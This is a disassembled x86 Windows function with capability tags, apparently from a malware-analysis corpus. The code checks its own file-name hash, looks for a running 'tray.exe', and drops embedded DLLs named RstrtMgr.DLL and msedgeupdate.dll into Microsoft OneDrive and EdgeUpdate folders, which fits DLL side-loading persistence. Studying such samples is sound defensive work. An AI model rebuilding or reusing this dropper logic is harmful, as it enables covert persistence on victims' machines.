Function at 0x10001750
Capabilities:
Check if file exists
Enumerate processes
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xaf8
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xaf4], eax
push esi
push edi
push 0x618
lea eax, [esp + 0x2ac]
push 0
push eax
call fcn.10046690
add esp, 0xc
xor edi, edi
mov dword [esp + 0xc], edi
push 0x200000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp + 8], eax
test eax, eax
je 0x100017d1
xor esi, esi
test edi, edi
jne 0x100017ca
push ecx
lea ecx, [esp + 0x10]
push ecx
push str._checkindex
push ecx
mov ecx, eax
call fcn.10002310
mov eax, dword [esp + 0x18]
inc esi
add esp, 0x10
cmp esi, 0x64
jae 0x100017ca
mov edi, dword [esp + 0xc]
jmp 0x100017a0
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x208
lea eax, [esp + 0x8f4]
push 0
push eax
call fcn.10046690
add esp, 0xc
lea eax, [esp + 0x10]
xorps xmm0, xmm0
movaps xmmword [esp + 0x8c0], xmm0
movaps xmmword [esp + 0x8d0], xmm0
push 0x68
push 0
push eax
movq qword [esp + 0x8ec], xmm0
call fcn.10046690
add esp, 0xc
lea eax, [esp + 0x8f0]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x8f0]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001834
sub ecx, edx
sar ecx, 1
mov esi, ecx
je 0x10001860
nop word [eax + eax]
cmp word [esp + ecx*2 + 0x8f0], 0x5c
je 0x10001860
sub ecx, 1
jne 0x10001850
lea edx, [ecx*2 + 2]
lea ecx, [esp + 0x8f0]
add ecx, edx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001873
sub ecx, edi
lea eax, [esp + 0x8f0]
sar ecx, 1
sub esi, ecx
push edx
lea eax, [eax + esi*2]
push eax
lea eax, [esp + 0x8c8]
push eax
call fcn.10047450
add esp, 0xc
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_MD5Init]
lea ecx, [esp + 0x8c0]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100018b5
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ecx]
push eax
lea eax, [esp + 0x8c4]
push eax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_MD5Update]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_MD5Final]
lea ecx, [esp + 0x68]
mov edx, 0x1005dcb8
mov esi, 0xc
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x10001c57
add ecx, 4
add edx, 4
sub esi, 4
jae 0x100018f4
lea ecx, [esp + 0x2a8]
call fcn.10001010
push 0x208
lea eax, [esp + 0x7c]
push 0
push eax
call fcn.10046690
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [esp + 0x84]
add esp, 0xc
push 0x104
push eax
push str.localappdata
call esi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x78]
push str.OneDrive
push str.Microsoft
push eax
lea eax, [esp + 0x4bc]
push str._ws_ws_ws_
push eax
call edi
add esp, 0x14
lea eax, [esp + 0x78]
mov ecx, 0x208
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x10001973
push 0x104
lea eax, [esp + 0x7c]
push eax
push str.ProgramFiles_x86_
call esi
push str.EdgeUpdate
push str.Microsoft
lea eax, [esp + 0x80]
push eax
lea eax, [esp + 0x2b4]
push str._ws_ws_ws_
push eax
call edi
add esp, 0x14
lea ecx, [esp + 0x6b8]
call fcn.10001480
push 0x228
lea eax, [esp + 0x80]
push 0
push eax
call fcn.10046690
add esp, 0xc
mov dword [esp + 0x78], 0x22c
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x10001a59
cmp esi, 0xffffffff
je 0x10001a59
lea eax, [esp + 0x78]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10001a52
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
nop word [eax + eax]
lea eax, [esp + 0x9c]
push 0x1005db60
push eax
call fcn.100461b8
add esp, 8
test eax, eax
je 0x10001a40
push str.tray.exe
lea eax, [esp + 0xa0]
push eax
call edi
test eax, eax
jne 0x10001af0
lea eax, [esp + 0x78]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10001a10
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
jne 0x10001b68
lea eax, [esp + 0x4b0]
push eax
call edi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
test eax, eax
je 0x10001b6e
lea eax, [esp + 0x4b0]
push eax
lea eax, [esp + 0x7c]
push str._wsRstrtMgr.DLL
push eax
call esi
add esp, 0xc
lea eax, [esp + 0x78]
push eax
call edi
test eax, eax
jne 0x10001b6e
push 0x200000
xor esi, esi
push 0x40
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp + 8], eax
test eax, eax
je 0x10001b68
xor edi, edi
test esi, esi
jne 0x10001afe
push ecx
lea ecx, [esp + 0x10]
push ecx
push str._onedrive
push ecx
mov ecx, eax
call fcn.10002310
mov esi, dword [esp + 0x1c]
inc edi
add esp, 0x10
cmp edi, 0x64
jae 0x10001afa
mov eax, dword [esp + 8]
jmp 0x10001ac6
mov edi, 1
jmp 0x10001a52
test esi, esi
je 0x10001b57
push 0
push 0
push 4
push 0
push 7
push 0xc0000000
lea eax, [esp + 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x10001b57
cmp edi, 0xffffffff
je 0x10001b57
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
lea eax, [esp + 0x10]
push eax
push esi
mov esi, dword [esp + 0x14]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10001b5b
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x2a8]
push eax
call edi
test eax, eax
je 0x10001c57
lea eax, [esp + 0x2a8]
push eax
lea eax, [esp + 0x7c]
push str._wsmsedgeupdate.dll
push eax
call esi
add esp, 0xc
lea eax, [esp + 0x78]
push eax
call edi
test eax, eax
jne 0x10001c70
push 0x200000
xor esi, esi
push 0x40
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp + 8], eax
test eax, eax
je 0x10001c50
xor edi, edi
test esi, esi
jne 0x10001bf5
push ecx
lea ecx, [esp + 0x10]
push ecx
push str._edge
push ecx
mov ecx, eax
call fcn.10002310
mov esi, dword [esp + 0x1c]
inc edi
add esp, 0x10
cmp edi, 0x64
jae 0x10001bf1
mov eax, dword [esp + 8]
jmp 0x10001bc7
test esi, esi
je 0x10001c4c
push 0
push 0
push 4
push 0
push 7
push 0xc0000000
lea eax, [esp + 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x10001c4c
cmp edi, 0xffffffff
je 0x10001c4c
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [esp + 0xafc]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.10045387
mov esp, ebp
pop ebp
ret
xor eax, eax
jmp 0x10001c50